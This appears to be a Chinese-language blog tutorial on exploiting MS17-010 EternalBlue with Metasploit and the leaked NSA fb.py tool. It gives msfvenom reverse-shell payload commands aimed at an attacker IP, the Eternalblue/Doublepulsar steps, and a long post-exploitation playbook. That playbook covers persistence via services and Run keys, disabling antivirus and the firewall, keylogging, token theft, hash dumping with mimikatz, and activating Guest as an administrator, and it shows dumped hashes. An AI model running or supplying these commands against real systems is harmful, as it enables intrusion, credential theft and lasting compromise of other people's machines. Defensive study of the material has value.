0x0、环境准备
- 下载kali linux的vmware版本:下载地址
我这里下载的是:Kali Linux 64 bit VMware VM
版本
此kali Linux主要是运行Metasploit,用来生成payload的dll及反弹shell,ip为172.16.17.65。 - win7 x64的机器安装python2.6.6(32位),pywin32、NSA泄露工具中的fb.py
pywin32安装的时候如果找不到Python2.6,那就使用python2.6执行下下面的代码:
1 | # |
0x1、检查漏洞的存在
假设存在漏洞的ip是:172.16.22.135
方法一:使用kali的Metasploit进行检测:
1 | # cd /usr/share/metasploit-framework/modules/auxiliary/scanner/smb |
下载好检测脚本后,打开metasploit:
1 | root@kali:~# msfconsole |
当见到Host is likely VULNERABLE to MS17-010!
等字段时候,则该漏洞存在。
方法二:使用Python检测脚本:
只需修改里面的ip,然后执行即可。
1 | #!/usr/bin/python |
若结果出现DOUBLEPULSAR DETECTED!!!
字段,即存在漏洞!
若出现No presence of DOUBLEPULSAR
字段,即不存在漏洞!
0x3、实施攻击
打开kali,生成x64的dll:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.17.65 LPORT=8089 -f dll> RT64.dll
若主机是32位,使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.17.65 LPORT=8089 -f dll > rt32.dll
然后把生成的dll文件放到win7主机的C盘根目录。
同时在kali运行metasploite开启handler监听:
1 | msf > use exploit/multi/handler |
在win7上运行fb.py,运行前需要在shadowbroker-master\windows
目录下新建一个文件夹listeningposts
,否则会运行出错。
在相同的目录新建smb_logs
文件夹,运行程序后按照提示来填写即可,需要特别注意Default Callback IP Address
对应的是kali的ip;Use Redirection [yes]
对应的是no。
1 | E:\work\shadowbroker-master\windows>python26 fb.py |
使用nmap -O扫描172.16.22.135,知道该主机是win2008 server X64
Mode [0] 可根据实际情况选用,我这里选用的是0,因为我选用fb模式的话,在后续的攻击中反弹shell失败。
先执行Eternalblue:
1 | fb > use eternal (按tab键) |
然后再执行Doublepulsar:
1 | fb Special (Eternalblue) > use Doublepulsar |
可以见到payload已经执行成功,同时在kali主机已经成功反弹shell:
1 | msf exploit(multi/handler) > run |
0x4、Meterpreter介绍
在进行攻击前,首先好好介绍Meterpreter这个强大的攻击模块:
在/usr/share/metasploit-framework/scripts/meterpreter里面有好多写好的脚本
1 | root@kali:/usr/share/metasploit-framework/scripts/meterpreter# ls |
下面是常见的几种利用情况:
1)获取目标机器的分区情况:
1 | meterpreter > run post/windows/gather/forensics/enum_drives |
2)判断是否为虚拟机:
1 | meterpreter > run post/windows/gather/checkvm |
若是虚拟机的话,很有可能是一个蜜罐系统。
3)获取系统安装程序和补丁情况:
1 | meterpreter > run post/windows/gather/enum_applications |
4) 获取ie浏览器缓存文件:
1 | meterpreter > run post/windows/gather/enum_ie |
5) 获得目标主机最近进行的系统操作,访问文件和office文档操作记录:
1 | meterpreter > run post/windows/gather/dumplinks |
6)使meterpreter在目标主机上持久化1
将meterpreter以系统服务的形式安装在目标主机上,利用metsvc模块使得meterpreter成为了目标主机中的一个自启动的系统服务。
1 | meterpreter > run metsvc |
7)使meterpreter在目标主机上持久化2
通过在meterpreter会话中运行persistence后渗透攻击模块,在目标主机的注册表值 HKLM\Software\Microsoft\Windows\Currentversion\Run
中添加键值,达到自启动的目的,-X参数指定启动的方式为开机自启动,-i的参数指定反向连接的时间间隔。
1 | meterpreter > run persistence -X -i 20 3376 -r 172.16.244.129 |
8)连接3389端口相关
开启3389远程桌面:run post/windows/manage/enable_rdp
或 run getgui -e
创建用户:run getgui -u xxxxx -p xxxxx
在开启远程桌面会话之前,我们还需要使用idletime
命令检查远程用户的空闲时长:
1 | meterpreter > idletime |
关闭目标机器上的杀毒软件:run killav
屏幕截图:
1 | meterpreter > screenshot |
上传/下载文件
“download”命令可以帮助我们从目标系统中下载文件,“upload”命令则能够向目标系统上传文件。
1 | meterpreter > download /Windows/system32/drivers/etc/hosts |
9) 记录按键及获得system权限
有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个“getsystem”命令,它可以使用多种技术在目标系统中实现提权:
“getuid”命令可以获取当前用户的信息,在上面的例子中,用户为“NT AUTHORITY\SYSTEM”,这个就是Windows本地系统账号。
1 | meterpreter > getsystem |
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:keyscan_start
:开启键盘记录功能keyscan_dump
:显示捕捉到的键盘记录信息 (开启后,等候一会使用该命令)keyscan_stop
:停止键盘记录功能
但是使用键盘记录一般需要system权限和绑定进程。
例如想把Meterpreter跟winlogon.exe绑定,并在登录进程中捕获键盘记录。
首先输入ps
命令查看目标设备中运行的进程
然后getuid
找到当前的进程
最后使用migrate
进行绑定
绑定成功后,keyscan_start开启键盘记录,可以先run post/windows/gather/enum_logged_on_users
查看用户是否登录成功,然后在keyscan_dump获取键盘记录
1 | meterpreter > ps |
知道进程id后也可以窃取该用户进程的令牌:steal_token 2584
,一般被用于盗取域管理员的token
10) 获取凭证及清除记录
1 | meterpreter > run post/windows/gather/hashdump (直接”run hashdump”或”run smart_hashdump”也可以,而且这两个命令更隐秘) |
1、若是想查看其他网段及跳转路由,请访问 route命令 的第31点
2、若遇到防火墙,关闭防火墙可通过shell命令netsh adcfirewall set allprofiles state off
执行,具体操作点击访问 关闭防火墙
3、可以使用mimikatz破解hash值:load mimikatz msv (获取 hash 值) ssp (获取明文信息) wdigest (获取系统账户信息) mimikatz_command -f a:: (必须要以错误的模块来让正确的模块显示) mimikatz_command -f hash:: (获取目标 hash)
0x5、后渗透攻击
我得到的是一台win2008 server的机器,ip为172.16.22.135。
我试了用getgui创建用户,创建失败,于是想破解hash值登录,得到Administrator:500:aad3b435b51404eeaad3b435b51404ee:99ba2654730d17dde6d468de43618621:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
可以见到Guest账户的密码其实是空的,因为NTLM-hash:31d6cfe0d16ae931b73c59d7e0c089c0为空密码
于是我输入shell,激活Guest账户:net user Guest /active:yes
然后加入管理员群组net localgroup administrators Guest /add
于是就可以使用Guest账户3389登录了,密码是空。
(当然这种做法是没有经过任何的隐藏,也很容易被发现,在外部搞的时候要慎用!)
0x6、总结
关于检测ms17-010漏洞,nmap与Metasploit可以直接检测了
nmap检测方法是:nmap -n -p445 --script=smb-vuln-*.nse --script-args=unsafe=1 172.16.22.73
,具体见nmap smb
Metasploit检测模块是:exploit/windows/smb/ms17_010_eternalblue
与exploit/windows/smb/ms17_010_psexec
,具体见Metasploit 「永恒之蓝」两种模块的利弊
更有大神利用了metasploit复现了fb.py的Eternalblue-Doublepulsar:MSF复现Eternalblue-Doublepulsar
关于漏洞利用的对象:本人测试的中招目标中,Server 2008 R2版本的执行都成功了,而windows7系统几乎都不成功,似乎是用了国产win镜像。
总结:在以后的检测工作中,可以先使用nmap进行检测,然后再利用msf一键进行利用,这个方法应该是最简便的了。
参考链接:
NSA Eternalblue SMB 远程溢出复现
fb.py复现和中招检查方法(勒索病毒原理)
手把手教你如何利用Meterpreter渗透Windows系统
Metasploit工具Meterpreter的命令速查表
mimikatz神器使用
nmap扫描smb漏洞及Pass The Hash攻击
Meterpreter综合提权
Metasploit后渗透技巧
Windows下建立隐藏管理员账号
本文链接: http://dayun.shystartree.online/2018/07/12/%E4%B8%80%E6%AC%A1SMB%E8%BF%9C%E7%A8%8B%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E7%BB%8F%E5%8E%86%EF%BC%88MS17-010%20EternalBlue%20%EF%BC%89/
版权声明:本博客所有文章除特别声明外,均采用知识共享署名-非商业性使用-相同方式共享4.0国际许可协议许可协议。欢迎转载,但转载请注明来自qingyu’s blog,并保持转载后文章内容的完整,本人保留所有版权相关权利。